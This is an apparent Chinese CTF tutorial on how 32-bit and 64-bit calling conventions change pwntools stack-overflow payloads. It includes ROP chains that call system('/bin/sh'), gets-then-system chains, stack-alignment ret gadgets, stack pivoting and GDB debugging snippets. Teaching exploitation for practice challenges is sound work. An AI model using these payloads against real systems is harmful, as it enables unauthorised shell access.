从32位到64位PWN:用Python pwntools写payload时,函数参数顺序和存放位置到底怎么变?
从32位到64位PWN:Python pwntools中payload构造的架构差异解析
当你在CTF赛场上遇到一个看似熟悉的栈溢出漏洞时,却发现原来在32位系统上屡试不爽的payload在64位环境下突然失效——这种经历几乎每个PWN学习者都会遇到。本文将深入剖析32位与64位架构下payload构造的核心差异,帮助你建立清晰的迁移思维模型。
1. 调用约定的本质差异
理解32位与64位系统函数调用的根本区别,是写出正确payload的前提。这两种架构在参数传递机制上的差异,直接决定了我们构造ROP链的方式。
在32位Linux系统中,函数调用遵循 cdecl约定 :
- 所有参数通过栈传递
- 调用者负责清理栈空间
- 返回值存储在EAX寄存器
而64位系统采用 System V AMD64 ABI约定 :
- 前六个参数依次通过RDI、RSI、RDX、RCX、R8、R9寄存器传递
- 多余参数才会使用栈空间
- 返回值仍存储在RAX寄存器
这种根本性的差异导致我们在构造payload时需要完全不同的思路。让我们看一个简单的对比示例:
# 32位调用system("/bin/sh")
payload = flat([
b'A' * offset,
p32(system_addr),
p32(0xdeadbeef), # 返回地址占位
p32(bin_sh_addr)
])
# 64位调用system("/bin/sh")
payload = flat([
b'A' * offset,
p64(pop_rdi_ret),
p64(bin_sh_addr),
p64(system_addr)
])
2. 堆栈平衡:64位特有的关键考量
在64位系统中, 堆栈对齐 是一个容易被忽视但至关重要的概念。现代CPU使用SSE指令进行内存操作时,要求栈指针在函数调用时必须16字节对齐。
重要提示:在调用system()等libc函数前,必须确保RSP寄存器值满足
RSP % 16 == 0
实践中常见的解决方案有两种:
-
添加ret指令 :在ROP链中插入一个ret gadget可以调整栈指针
ret_addr = 0x40053e # 随便找一个ret指令地址 payload = flat([ b'A' * offset, p64(ret_addr), # 对齐栈指针 p64(pop_rdi_ret), p64(bin_sh_addr), p64(system_addr) ]) -
调整payload长度 :确保填充长度+ROP链总字节数是16的倍数
下表对比了两种架构下的堆栈处理差异:
| 特性 | 32位 | 64位 |
|---|---|---|
| 栈对齐要求 | 无 | 16字节对齐 |
| 典型解决方案 | 无需特别处理 | 添加ret指令或调整填充长度 |
| 影响范围 | 基本无影响 | 可能导致段错误或异常行为 |
3. 参数传递的实战差异
参数传递方式的差异是32位与64位payload构造中最明显的不同点。让我们通过一个实际案例来理解这种差异。
假设我们需要连续调用两个函数:
- 调用gets()将"/bin/sh"写入缓冲区
- 调用system()执行这个命令
32位实现方案 :
buf_addr = 0x804b000
gets_plt = 0x8048340
system_plt = 0x8048360
payload = flat([
b'A' * offset,
p32(gets_plt),
p32(system_plt), # gets()的返回地址
p32(buf_addr), # gets()的参数
p32(buf_addr) # system()的参数
])
64位实现方案 :
buf_addr = 0x601000
gets_plt = 0x400540
system_plt = 0x400550
pop_rdi_ret = 0x4007d3
payload = flat([
b'A' * offset,
p64(pop_rdi_ret),
p64(buf_addr),
p64(gets_plt),
p64(pop_rdi_ret),
p64(buf_addr),
p64(system_plt)
])
关键差异点:
- 32位中参数直接跟在函数地址后
- 64位中需要先用ROP gadget设置寄存器
- 64位每次函数调用后都需要重新设置参数寄存器
4. 常见问题与调试技巧
在实际操作中,即使理解了原理,仍然可能遇到各种意外情况。以下是几个常见问题及解决方法:
问题1:payload在本地能打通但远程不行
- 检查libc版本是否一致
- 确认栈偏移量是否正确
- 验证网络环境是否影响发送时机
问题2:添加ret指令后exploit失效
- 尝试不同数量的ret指令(有时需要奇数个)
- 检查是否有其他因素影响栈对齐
- 使用GDB调试观察实际栈指针值
调试技巧:可视化栈布局
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
io = process('./vuln')
gdb.attach(io, '''
b *main+123
c
''')
payload = ...
io.send(payload)
io.interactive()
在GDB中可以使用以下命令检查关键点:
x/10gx $rsp-0x20 # 查看栈内存
info registers # 检查寄存器值
stepi # 单步执行
5. 高级技巧与优化建议
掌握了基本原理后,可以进一步优化payload构造:
1. 通用gadget的使用
# 一次性设置多个寄存器
pop_rsi_r15_ret = 0x4007d1
payload += p64(pop_rdi_ret)
payload += p64(arg1)
payload += p64(pop_rsi_r15_ret)
payload += p64(arg2)
payload += p64(0) # r15占位
2. 栈迁移技术 当溢出空间不足时,可以将栈迁移到可控区域:
leave_ret = 0x400845
payload = flat({
offset-16: [
new_stack_addr,
p64(leave_ret)
]
})
3. 利用libc中的gadget
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdx_ret = libc.address + 0x1b96 # 不同libc偏移不同
记住,在64位系统中,参数传递的优先级永远是:
- 寄存器(RDI, RSI, RDX, RCX, R8, R9)
- 只有当参数超过6个时,才会使用栈空间
在实际CTF比赛中,我经常遇到的一种情况是:本地测试成功的payload在远程服务器上却失败了。经过多次调试发现,这是因为不同环境下的栈初始状态可能有微小差异,导致对齐要求不同。这时候,准备多个版本的payload(不同ret数量)往往能解决问题。
更多推荐


所有评论(0)